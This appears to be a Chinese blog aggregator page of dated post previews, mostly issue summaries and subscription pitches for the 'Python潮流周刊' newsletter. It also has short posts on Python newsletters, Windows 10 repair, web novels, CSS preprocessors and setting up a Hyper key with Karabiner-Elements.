大概创刊于 2012 年,目前更新到第 630+ 期,订阅数有近 102K,X 账号的关注数有 120K。
它每期分享的非项目类内容有 15 条左右,项目类有大概 6 则,另外常有 Python 活动类资讯。每期广告数 2-3 则。
除项目外,它分享的内容之后基本都有一段推荐语,而且在内容下方还有网站或博客名称,以及投稿者的名称,这方面做得比其它周刊细致。内容上偶尔有些读者独家投稿,即没在别的周刊出现过。
周刊主理人也是 Real Python 的主理人,所以周刊上有很多自家网站上的文章和课程。
推荐指数:⭐⭐⭐⭐
订阅链接:https://pycoders.com

8、Python Weekly

创刊最早的 Python 周刊之一,已更新到 650+ 期。每期的非项目类(新闻、文章、教程、演讲、播客)大概 12-15 则,项目工具类 11-15 则,另外还有很丰富的 Pyhton 活动类资讯。
非项目类内容的推荐语有些写得不错,也有些仅是简单摘录原文。项目类的数量蛮多的,不过介绍语都是直接取自 Github 简介。
我很佩服它能更新这么长时间,而且每期的质量都不低。它营利的手段似乎只是广告植入,不确定那些活动类信息是否有收入。作者还有 2 份周刊,分别面向程序员和创业者,办得都不错。
推荐指数:⭐⭐⭐⭐⭐

9、Python Trending Weekly

Python 潮流周刊,唯一的中文 Python 周刊,也是唯一会给读者送福利的周刊,也是唯一实行付费订阅的周刊。
创刊于 2023 年 5 月,是所有周刊里最年轻的。目前每期分享文章/教程类 12 篇,项目/资源类 12 则,偶尔有播客/视频和热门讨论 2-4 则。赠书已超过 80 本。
周刊分享的内容较多,且都附有认真总结的推荐语,导致每期的篇幅都很长,所花费的时间精力远超其它周刊。
分享的内容约有一半是直接取材于其它周刊,相当于萃取了一遍;另外的一半内容主要来源于个人博客、技术论坛、Github 趋势等贴近于原作者的第一手信息。
周刊中偶尔会附上一些精美截图,对读者的阅读体验更佳,这也是其它周刊不具备的特色。周刊每 30 期作为一季,会做出阶段性盘点,并汇集成册,这有利于历史内容发挥长尾效应,沉淀知识。
其它周刊都是英文,且主要是邮件推送,不太符合国人的阅读习惯。Python 潮流周刊面向中文读者,还有基于微信的推送和阅读方式,更为便利。
推荐指数:⭐⭐⭐⭐⭐
以上 9 份周刊就是本文想分享的信息源。周刊的信息密度极高,是信息时代里值得推荐给所有人的聪明手段,推荐大家折优订阅。
有些周刊实现了较高的自动化抓取,作者靠着运营周刊矩阵,不靠质量而凭数量,每周能收获到不菲的广告费;有的周刊坚持十年如一日的更新,让人敬佩的是它始终不接广告;还有的周刊在保证质量的同时,作出多样化的营利尝试,只为可持续的健康发展。
除了这 9 个外,还有不少的同类周刊,但由于篇幅有限,这里只选取了较有代表性的几个。除了这些周刊外,还有很多值得分享的高质量信息源,本系列会陆续更新,欢迎关注。
PS. 本文是 Python潮流周刊的端午节特别加更。授人以鱼不如授人以渔,从分享信息到分享信息源。如果你也知道一些同类的信息源,欢迎留言分享~~

June 10, 2024 12:00 AM

June 08, 2024

pythoncat

Python 潮流周刊#54:ChatTTS 强大的文本生成语音模型

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,3 则音视频,全文 2100 字。
以下是本期摘要:
① 许多实用的 Python 命令行程序
② 我最喜欢教的编程问题:数字长度
③ 修复 Python 循环导入的一种方法
④ PEP-789:限制异步生成器的 yield,防止任务取消错误
⑤ 我的 PyCon US 2024 回顾
⑥ Python 开发游戏如何选择引擎?
⑦ ChatTTS:语气韵律媲美真人的开源 TTS 模型
⑧ 使用特定的算法将运行速度提高 15×
⑨ 用 GPT-4o 生成 Flask 项目代码,能做到多好?
⑩ 用 Python 开发 Scrapscript 语言的编译器
⑪ 什么是 Python 的可哈希对象?
⑫ 用一道算法题比较 Python、Go、C++、C、AWK、Forth 和 Rust 的性能
① Think Python 第三版(免费在线)—Think Python, 3rd edition
② 关于音乐处理的 Python 基础笔记
③ ChatTTS:用于日常对话的生成语音模型
④ 几个与 ChatTTS 相关的项目
⑤ koheesio:构建高效数据管道的 Python 框架
⑥ groqbook:使用 Groq 和 Llama3 在几秒内生成整本书
⑦ cachebox:用 Rust 开发的高性能 Python 缓存库
⑧ mesop:Google 开源基于 Python 的 UI 框架
⑨ Qwen2:阿里云开源的大模型系列
⑩ RSS-Translator:简洁可自部署的 RSS 翻译器
⑪ farfalle:AI 搜索引擎, 用本地或云 LLM 自托管
⑫ chsrc:全平台命令行换源工具
① 你最喜欢的有关 Python 的 YouTube 频道是什么?
② PyCon 2024 现场录制的播客
③ 图灵奖得主巡礼系列播客,已更新 15 期

Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 54 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。

June 08, 2024 12:00 AM

June 06, 2024

howiehz

惊人 98 元限定T恤!1Panel, Halo 开发商开启推广积分奖励活动

今天收到邮件,说我成为凌霞推荐官 邮箱中的链接跳转到 https://www.lxware.cn/uc/cloud/referrer-info 登录后进入如下页面,可以见到此处说明:100积分=1元 左侧有积分商城,能换的东西不多。就只有两种价值 9800 积分(98 元)的限定T恤和一歌价值 10

by HowieHz at June 06, 2024 07:03 AM

June 05, 2024

howiehz

Minecraft Spigot Bukkit 服务器插件开发 教程收集

前言 Mcbbs 死了,死的非常突然,以至于国内的互联网存档组织都没开始存档就死完了。 令人悲伤的是,许多优质教程也随着 Mcbbs 的落幕消失了。 今日在 Bukkit插件开发交流群 看到有萌新寻求插件开发教程,同时发现之前收藏的一些网址都不可用。 随即重新搜集教程网址后写下这篇文章,希望能帮到寻

by HowieHz at June 05, 2024 12:44 AM

June 03, 2024

howiehz

中文博客倡议

共建更好的博客环境需要每位博主的参与! 本文链接:在我的博客上阅读、在 GitHub 上阅读 推荐阅读:中文博客圈列表 最后更新时间 2024.6.9 本倡议精神 提升访客阅读体验。 不提倡的设计 CBGB001 自动播放多媒体资源。 CBGB00

by HowieHz at June 03, 2024 12:00 AM

June 01, 2024

yxh

网文

最近大概是无聊了,又有京东读书的 VIP,闲着无聊就看了两本网络流行小说(俗称网文)。这两部网文套路也比较烂俗,一部是穿越文,另一部是重生文,主打就是信息不对称、全方面碾压,各类女主哭着喊着要和男主生猴子。

其实我并不反感这些套路,只要情节跌宕起伏、心路婉转缠绵、没有明显的反智或者降智、行文流畅不中二就OK。就像平时生活中我也喜欢吃肯德基、麦当劳,这类快餐类网文没什么不好,看着心情愉悦,不需要思考,同时还能满足一下生活中无法实现的小幻想,挺好的。我特别不喜欢那种虐的网文,毕竟我是来吃快餐,不是来吃屎。

只是这类网文都很明显的按照游戏脚本的路子写,情节展开、人物描写等各方面有很强烈的网络游戏色彩,估计作者写的时候就考虑了将来 IP 资源商业化。过度商业化的考虑还导致这些网文篇幅极其长,都是上千章、数百万字(对,百万)、工具人茫茫多,看得好累。

文章太长自然就导致最后写崩了。两部都写崩了,穿越文铺得太大,没法收尾,感觉要烂尾了;而重生文最后也是工具人(包括主角等)都不管不顾了。

比较好的一点是对人物关系、对情感的描写。虽然都写了很多莺莺燕燕,好在文笔比较细腻,没有写成种马文,不过最后收尾都没收好,这也算另一种写崩了吧。

这两部网文我觉得如果砍掉最后三分之一的篇幅,干净利落的结尾反而会好一些,人物关系、情节发展给读者留下足够的想象空间(只是作者的商业利益可能会受损)。

不管怎样,如果作者最后有结尾的话,我希望是花团锦簇,开心就好,平平淡淡或者略带惆怅也行。总之,一部好的网文就应该像滋味不错的香辣鸡腿堡。

by YI at June 01, 2024 04:59 AM

pythoncat

Python 潮流周刊#53:我辈楷模,一个约见诺奖得主,一个成为核心开发者

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本《程序是怎样跑起来的(第3版)》,全文 2200 字。
以下是本期摘要:
① 我「接见」了诺奖得主
② 450 天成为 Python 核心开发者
③ Python 如何比较浮点数和整数?
④ JIT 和移除 GIL 都不是我最期待的 Python 3.13 特性
⑤ 从事 Python 打包工作 6 年的不为人知的故事
⑥ 庆祝 Beautiful Soup 的 20 周年
⑦ 曾经最喜欢 Ruby,现在可能是 Python
⑧ 使用 Postgres 的 Django 异步任务队列(不是 Kafka、Rabbit MQ、Celery 或 Redis)
⑨ 在 Streamlit 中支持异步 MongoDB 操作
⑩ LangChain 实战:利用 LangChain SQL Agent 和 GPT 进行文档分析和交互
⑪ pyo3_asyncio:Python Asyncio 事件循环的 Rust 绑定
⑫ PyPy 已经悄悄地为我工作了好几年了
① llama-fs:基于 llama 3 的自组织文件系统
② orjson:快速准确的 JSON 库,支持数据类、日期时间和 Numpy
③ asyncssh:在 asyncio 上提供 SSHv2 协议的异步客户端和服务器
④ ipyblender-experimental:Jupyter 中引入 Blender
⑤ searxng:免费的互联网元搜索引擎,汇总各种搜索服务和数据库的结果
⑥ rio:纯 Python 的 Web 开发框架,无需 JavaScript、HTML 和 CSS
⑦ buku:个人的文本迷你网络
⑧ resume-builder:纯 Python 开发的简历生成工具
⑨ more-itertools:比 itertools 丰富的可迭代对象操作
⑩ tach:强制实施模块化、解耦的包架构
⑪ Zango:构建企业级应用/微服务的 Python Web 框架
⑫ pdm:支持最新 PEP 标准的 Python 包和依赖项管理工具

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 53 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。

June 01, 2024 12:00 AM

May 25, 2024

howiehz

Windows 10 文件系统错误 -2144926975 -2147219196 修复

一句话解决 升级到 Windows 11 相关文章:修复全部 Windows 10 问题的办法 起因 为了下载 MInecraft 官方启动器,我打开了万年没打开的自动更新。 在自动更新后,我遇到了无限蓝屏的问题。在查看mini dump文件后我关闭了 hyper-v,卸载了 Primo Cache

by HowieHz at May 25, 2024 02:08 PM

Windows 10 遇到“只能重装系统”但不想重装的解决方案

一句话解决 升级到 Windows 11 相关文章:Windows 10 升级 Windows 11 简明教程 最后的尝试 升级前可以尝试下在每个微软官方回答下基本都能看到的 Dism 三行指令 + sfc 一行指令。 指不定就修复好了,不然只能选择升级到 Windows 11 了。 Dism /O

by HowieHz at May 25, 2024 02:08 PM

Windows 10 升级 Windows 11 简明教程

第一步 下载系统镜像 方法有两种 方法一 从微软官网下载 Download Windows 11 (microsoft.com) 找到页面上的下载 Windows 11 磁盘映像 (ISO),选择下载项,如果你的电脑系统是家庭版就选择家庭版,否则选择多版本镜像。之后点击下面的下载按钮。 之后会要你选

by HowieHz at May 25, 2024 01:24 PM

pythoncat

Python 潮流周刊#52:Python 处理 Excel 的资源

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本《网络是怎样连接的》,全文 1900 字。
以下是本期摘要:
① 正则表达式匹配可以很简单且高速
② 如何利用内存中还在运行的代码,恢复已删除的源码?
③ PEP-667:命名空间的一致视图
④ 用 100 行代码替换 pyinstaller
⑤ py.space:免费开发在线的 Python 应用
⑥ 使用 Python 3.12 作静态类型函数式编程
⑦ 如何用 Python 动态生成 Github 个人主页 README?
⑧ 用 pyastgrep 作自定义 linting
⑨ 使用 pygments 生成代码片段的图片
⑩ 使用纯 NumPy 实现 Llama 3
⑪ AI 帮你写的代码,所有权归谁?
⑫ 聪明的代码可能是你写过最糟糕的代码
① 用于处理 Excel 的 Python 资源
② yen:Python 虚拟环境管理工具,无需预装 Python
③ Tensor-Puzzles:21 个张量谜题
④ dishka:依赖注入框架
⑤ hstream:将 Python 脚本转换为 Web 应用
⑥ cover-agent:AI 自动生成测试,提升代码覆盖率
⑦ pygments:用 Python 开发的通用型语法高亮工具
⑧ hashquery:在数据仓库中定义和查询 BI 模型
⑨ Python 有哪些指标监测库?
⑩ stamina:可用于生产的 Python 重试库
⑪ piku:支持对自己的服务器作 git 推送部署
⑫ mql:用自然语言输入生成 SQL 查询

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 52 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。
PS.有些海外的同学表示不用/很少用微信,不便访问小报童。为了照顾这些朋友,我开通了爱发电,欢迎使用这个平台来订阅。

May 25, 2024 12:00 AM

May 18, 2024

pythoncat

Python 潮流周刊#51:用 Python 绘制美观的图表

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,赠书 5 本《图解IT基础设施》,全文 2200 字。
以下是本期摘要:
① 引人注目的 Python Streamlit:精美的交互式地图和图表
② 我絕不用 result 作為變數名稱
③ Python 中使用 Loguru 记录日志
④ 35 道 Django 技术面试题
⑤ Python 的集合是没有值的字典
⑥ 使用 Sliver 渗透测试套件的针对 Mac 的 PyPi 包后门
⑦ 为什么 TensorFlow 正在缓慢消亡?
⑧ Python 中的延迟计算是什么?
⑨ 为什么要看 Python 源码?它的结构长什么样子?
⑩ 2014 年我的 10 个业余项目
⑪ 无需数学公式,解释 LLM 的工作原理
⑫ 替代实现的问题
① The-Python-Graph-Gallery:数百个用 Python 绘制的图表
② parler-tts:高质量的 TTS 模型
③ UXsim:道路上的车辆交通流模拟器
④ Quads:基于四叉树的计算机艺术
⑤ bilibot:用哔哩哔哩用户评论微调的本地聊天机器人
⑥ pyaction:带有 Python、git 和 Github CLI 的 Docker 容器
⑦ firecrawl:将整个网站变成 LLM-ready 的 markdown
⑧ plotille:使用盲文点在终端中绘图
⑨ petl:Python 提取、转换和加载数据表
⑩ FunClip:视频语音识别和剪辑工具,集成 AI 剪辑功能
⑪ map-machine:OpenStreetMap 的 Python 渲染器
⑫ IC-Light:给图片加上打光照明

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 51 期周刊的全文
PS.本周刊前30期的合集永久免费,另外,付费期数将在其 50 期后免费开放,例如第 50 期将在第 100 期时免费,敬请留意。
PS.有些海外的同学表示不用/很少用微信,不便访问小报童。为了照顾这些朋友,我开通了爱发电,欢迎使用这个平台来订阅。

May 18, 2024 12:00 AM

May 12, 2024

pythoncat

Python 潮流周刊#50:我最喜欢的 Python 3.13 新特性!

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期分享了 12 篇文章,11 个开源项目,2 则音视频,赠书 5 本《黑客与画家(10万册纪念版)》
全文 2500 字,以下是本期标题摘要:
🦄文章&教程
① 我最喜欢的 Python 3.13 新特性
② Python 3.13 新功能盘点介绍
③ Python Asyncio 工作原理:从零实现一个简化版 Asyncio
④ 友好的 Python:封装和复用
⑤ 零基础入门 Python 文件处理篇——实现一个简单的文件搜索引擎
⑥ 用 HTMX 和 Django 开发一个 Connect Four 游戏
⑦ 用 wxPython 开发一个简单的计算器
⑧ 学生在入门数据科学时常犯的错误
⑨ 使用“不安全的 Python”加速 Numpy 代码 100 倍
⑩ Python 字典详细的历史演变过程
⑪ 重新发明 Python notebook 的经验教训
⑫ Python 软件基金会新闻:2022 和 2023 资助计划的透明度报告
🐿️项目&资源
① pywinassistant:用自然语言控制 Windows 用户界面
② chinese-calendar:判断一天是不是法定节假日/工作日
③ Oven:探索 Python PyPI 包
④ tetos:适用于多种 TTS 服务的统一接口
⑤ relax-py:又一个 Python Web 框架
⑥ 哈佛大学 2024 年 CS50 线上课程
⑦ portr:专为团队设计的开源的 ngrok 替代方案
⑧ py-compress-compare:对比分析 zlib、LZ4、Brotli 和 Zstandard
⑨ pyspread:用 Python 开发的电子表格,可支持 Python 代码
⑩ PgQueuer:基于 PostgreSQL 的任务队列库
⑪ 你用人工智能做过的最实用的事情是什么?
🐢播客&视频
① core.py Ep 10:开发者聊 Python 3.13 的 REPL
② The Python Show 40 - 与 Antonio Cuni 一起聊开源开发

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 50 期周刊的全文

May 12, 2024 12:00 AM

May 10, 2024

yangpeiyuan

使用Karabiner-Elements,在 macOS 中实现 Hyper 键

Hyper 键是一种在 macOS 上常用的键盘快捷方式技巧,具有以下特点:

  1. Hyper 键通常将四个修饰键⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command组合成一个单一的修饰键。
  2. 它通常被映射到键盘上的特定按键,最常见的是 Caps Lock 键,但也可以映射到其他键如 Tab 或 \ 键。
  3. Hyper 键的主要优势是不会与系统默认快捷键冲突,为用户提供了一个全新的快捷键层。
  4. 使用 Hyper 键可以创建自定义的全局快捷键,如启动应用程序、执行特定操作等。
  5. 实现 Hyper 键通常需要使用第三方软件,如 Karabiner-Elements
  6. 一些高级用户会设置多个 Hyper 键,如将 Tab 和 \ 键设为左右 Hyper 键,或将 G 和 H 键也设为 Hyper 键,以提供更多快捷键选项。
  7. Hyper 键可以与其他键组合使用,创建强大的自定义快捷键,如 Hyper + A 切换到特定输入法。

总的来说,Hyper 键为 macOS 用户提供了一种灵活且强大的方式来扩展键盘快捷方式的可能性,提高工作效率。因为它是全新的修饰键,所以它不会和其它快捷键冲突。特别是,它不会和系统默认的快捷键冲突。

要将 macOS 键盘右侧的 Control 键设置为 ⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command ,可以使用第三方软件如 Karabiner-Elements。以下是步骤:

  1. 下载并安装 Karabiner-Elements。
  2. 打开 Karabiner-Elements,进入“Complex Modifications”选项。
  3. 点击“Add Predefined Rule”,搜索并添加“Change caps_lock to command+control+option+shift”规则。
  4. 编辑刚刚添加的规则。把里面的“caps_lock”改成“right_control”

这样,右侧的 Control 键将被绑定为 ⇧ Shift + ⌃ Control + ⌥ Option + ⌘ Command

参考

by yangpeiyuan (i@yangpeiyuan.com) at May 10, 2024 02:39 PM

May 09, 2024

howiehz

中文博客圈列表

本列表持续维护,最近更新时间: 2025.1.22 文章更新日志:点我跳转 欢迎站长、博主补充本页缺漏,提出本页错误。 如有补充、修改、建议请留下您的评论。 可将此页面加入收藏夹& Ctrl+S 保存方便随时查看。 注意:部分博客圈仅能使用内地ip访问。 互联网是一片海洋,网站犹如一座座孤岛漂浮在其

by HowieHz at May 09, 2024 12:20 PM

CSS 预处理器如何正确的复用样式(stylus 中使用 @extend 继承的坑)

文章第二版发布时间:2024.5.9 19:00:00 文章更新日期:2024.5.8 初版本发布:2024.4.9 10:09:00 初版本发布标题:stylus 关于 @media 和继承的坑 文章更新日志:点我跳转 需求 要写一个亮暗自动切换的样式 渲染要求 明亮模式时 body[theme=

by HowieHz at May 09, 2024 11:00 AM

May 06, 2024

pythoncat

周刊是聪明人筛选优质知识的聪明手段!

这是一个信息过载的时代,也是一个信息匮乏的时代。
这种矛盾的现象在 Python 编程语言上的表现非常明显。
它是常年高居编程语言排行榜的最流行语言之一,在国外发展得如火如荼,开发者、项目、文章、播客、会议活动等相关信息如海如潮。
但是,形成鲜明对比的是,它在国内的就业形势一片黯淡,开发者数量与知识社区常年都萎靡不振(除了培训机构的广告满天飞)。
国内 Python 社区与西方主流社区存在着巨大的信息差。我多年持续观察,对此感受颇深,这里从两个较为直观的维度能看出差距有多大:
  • 文章的数量。国内做得最好的技术平台是掘金(除公众号不好统计外,其它都差一大截),Python 分类下每天的文章数基本不超过 20 篇;国外的平台有 Medium、DEV社区、Hashnode、Reddit 等,每一个都能压掘金一筹。至于 Python 类个人博客,那就更不用提了
  • 播客的数量。国内只有“捕蛇者说”一株独苗,更新的内容和频率都很佛系;国外的播客非常多,2019 年有篇文章介绍了 27 个,如今只会更多,我记得在去年的 Python 潮流周刊里就介绍过 4 档新的播客
除此之外,还有开源项目、社区活动、公司招聘、以及最最重要的是创造出这些东西的贡献者,感觉那一边是璀璨若繁星,而这一边微似点点流萤。
为了弥补这一信息差距,我创办了“Python潮流周刊”。
周刊自 2023 年 5 月连载至今,到下一期就是第 50 期了,时间正好是一周年!
我过去有些疑虑,不知道自己能坚持更新多久,对于内容和运营手段也没有考虑得太清楚,因此,既没有写下过什么“创刊语”,也没有好好向大家推销过。
在《技术周刊的转变:如何平衡热爱与现实?》里,我解释了为什么会转向付费专栏。经过最近几期的试运行,正好遇上周岁生日的节点,于是,我决定就从第 50 期开始(预计时间为 5 月 12 日),让我们开启一段新的旅程吧!
接下来,我将向你隆重介绍 Python潮流周刊,如果你觉得它是你想要的东西,欢迎订阅!
Python潮流周刊是一个专为国内 Python 开发者量身打造的资讯平台,为你挑选最值得分享的文章&教程、开源项目、软件工具、播客和视频、热门话题等丰富内容。
我通过 RSS 方式订阅了近 400 个与 Python 或编程开发相关的优质信息源,每周从大量信息中精挑细选出 24 则左右的内容,汇集成一期精选周刊。
我们的初衷之一是打破信息差,让读者以便捷的方式接触到主流技术社区里的优质内容。经过一年的发展,我们这方面做得挺好的。
人们常说,阅读的内容将塑造你成为什么样的人。但问题是怎样才能接触到最优质的阅读材料呢?
与其碰运气般被动等待信息流的推荐,不如订阅一个靠谱的信息源。
我希望周刊能成为你高质量的信息筛选器,成为你开阔视野的一扇明窗。
我们的目标是打破知识信息差,为国内的 Python 社区注入活力,愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
国外有很多创办了数年的 Python 周刊,它们既是我们周刊的榜样与素材库,同时也是我们的“竞争对手”。
Python 潮流周刊与其它同类周刊相比,我们的优势有:
  • 适应本土化。我们周刊会分享很多国内开发者的博客、开源项目、播客与视频等内容,并且去除了不适合国内的内容(例如国外举办的线下活动)
  • 内容更详实。我们周刊每则分享内容下都有认真整理的摘要&推荐语,不像其它周刊只放个标题或简单照搬原文的一两句话;另外在分享内容后,常常会添加一些强相关的附录内容
  • 要素更多样。我们周刊经常会附上精美的截图,图文并茂,不像其它周刊只有文字;另外对于 star 数超过 1000 的开源项目,我们会作出注释,让你能重点留意
毫不夸张地说,Python 潮流周刊已经是全世界知识密度最高、知识广度最大的 Python 技术周刊,没有之一!
我们电报频道里每周会汇集其它周刊的更新,如果你经常阅读,对此的感受相信会更加强烈。
除了上述的优势,我们周刊当然也有一些缺点,以下是被反馈比较多的两个使用门槛:
  • 需要使用魔法上网。周刊里经常有些链接不能直接打开,因此若你的上网技能不足,那道屏障可能会影响到阅读体验
  • 需要使用翻译工具。周刊里分享的内容大约有 90% 是英文,因此若你只靠自己阅读理解,可能会影响阅读效率
关于第一点,这里不能多说,由于读者里泛程序员群体居多,应该问题也不大吧?
关于第二点,我推荐你使用“沉浸式翻译”,这是一款浏览器插件,很有帮助;另外,如今有了 LLM 加持,翻译和阅读场景都有不少工具,这方面请自行探索了。
以上主要介绍了 Python潮流周刊是什么、我们想做什么、优势和缺点,简单一句话介绍:Python潮流周刊是你获取优质技术信息的精选周刊。
接下来,我将介绍如何订阅专栏,以及订阅后你能获得的权益,最后还有一份不容错过的福利。
你可在浏览器里访问以上链接,或者使用微信扫描下方二维码:
这是在小报童上开通的服务,它支持手机端和 PC 端访问,你可以用微信接收周刊更新,也可以用邮箱接收。
如果你有使用上的问题,请直接咨询我,或者查阅官方的指南:https://help.xiaobot.net/reader.html
订阅后,你可获得的权益:
  • 优质内容:每周 1 期,全年 50 期左右,预计总字数 12 万字/年
  • 丝滑体验:微信接收更新,流畅阅读,无障碍跳转文字链接,不用受限于公众号
  • 专属福利:授人以鱼不如授人以渔,我会在专栏不定期分享优质的信息源
  • 学生折扣:如果你是在校学生,请加我为好友,可申请半价返现(仅限在周刊前100期订阅有效)
除此之外,我还开通了合伙人计划,当有人通过你分享的海报或者链接,购买了专栏,那么你将获得 50% 的返利。
如何分享?在专栏里找到分享按钮,生成海报或复制链接即可。如下图所示:
专栏目前是试运行期间的最低价,过几天发布第 50 期时会涨价,所以现在加入,最为划算。我们支持 24 小时无理由退款。
为了感谢大家的支持,我会从 Python猫 公众号里本文的精选留言中选出 5 位幸运儿,各免费赠送一年的专栏订阅福利。
欢迎大家来提出建议、提出问题、分享优质信息源、以及任何有助于周刊专栏发展得更好的内容!
更新:有些海外的同学表示不用/很少用微信,不便访问小报童。为了照顾这些朋友,我开通了爱发电,欢迎使用这个平台来订阅。

May 06, 2024 12:00 AM

May 04, 2024

pythoncat

Python 潮流周刊#49:谷歌裁员 Python 团队,微软开源 MS-DOS 4.0

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,12 个开源项目,2 则视频,赠书 5 本《Hello算法》
全文 2500 字,以下是本期摘要:
① 谷歌在开发者大会前裁员了 Python、Flutter 和 Dart 团队
② FastAPI 专家给出的 FastAPI 使用贴士
③ PEP 686:将 UTF-8 模式设为默认配置
④ Pydantic:简化 Python 中的数据验证
⑤ 中小型 Python 项目配置和数据读写的最佳实践
⑥ 为了乐趣和(并发的)收益而给 requests 库打补丁
⑦ CPython JIT 内部原理:Python 启动时会发生什么?
⑧ Sleepsort:在线程休眠时排序
⑨ Python、JavaScript 和 Ruby 用莱布尼茨公式计算 π 的值
⑩ 10 年参加 Python 会议
⑪ 关于 for 循环的一些思考
⑫ 前 1% 精英工程师的 7 个简单的习惯
① logfire:用于 Python 的可观测性工具
② pyinfra:用 Python 实现基础设施自动化
③ pipxu:使用 UV 在隔离环境中安装和运行 Python 程序
④ tkforge:在 Figma 中拖放创建 Python GUI
⑤ TagStudio:文件和照片管理系统
⑥ coredumpy:保存崩溃的站点以作事后调试
⑦ plane:开源的 JIRA、Linear 和 Asana 替代品
⑧ Scrapegraph-ai:基于 AI 的 Python 抓取工具
⑨ tv:自动收集 IPv4 酒店电视直播源
⑩ netprobe_lite:用 Python 开发的网络性能测试工具
⑪ dangerzone:将有害的 PDF、office 文档或图像转换为安全的 PDF
⑫ MS-DOS:MS-DOS 1.25、2.0 和 4.0 的源代码
① 2023 年的 800 多期 Python 演讲视频
② 教程:使用 Python + HTMX + Tailwind 作 Web 开发

如今大环境依然不好,有些人经历了裁员,有些人虽还在岗却天天焦虑,于是就出现了一种趋势,就是卷学习,让自己更有竞争力。
Python潮流周刊从 2023 年 5 月连载至今,已更新超过 10 万字,每期内容都十分丰富,是绝对不容错过的学习资料。我们的愿景是帮助所有读者精进 Python 技术,拓宽职业发展道路。
目前周刊实行付费订阅制,年费 128 元,平均每天不到 4 毛钱,但绝对是一笔有眼光的投资。花钱学习知识,花钱提升自己,这买卖绝对不亏,欢迎订阅这个:你绝对不会后悔的专栏
订阅后,可免费查看 第 49 期周刊的全文

May 04, 2024 12:00 AM

April 27, 2024

pythoncat

Python 潮流周刊#48:Python 3.14 的发布计划

本周刊由 Python猫 出品,精心筛选国内外的 250+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。
本期周刊分享了 12 篇文章,11 个开源项目,赠书 5 本《图解TCP/IP(第6版)》
以下是本期摘要:
🦄文章&教程
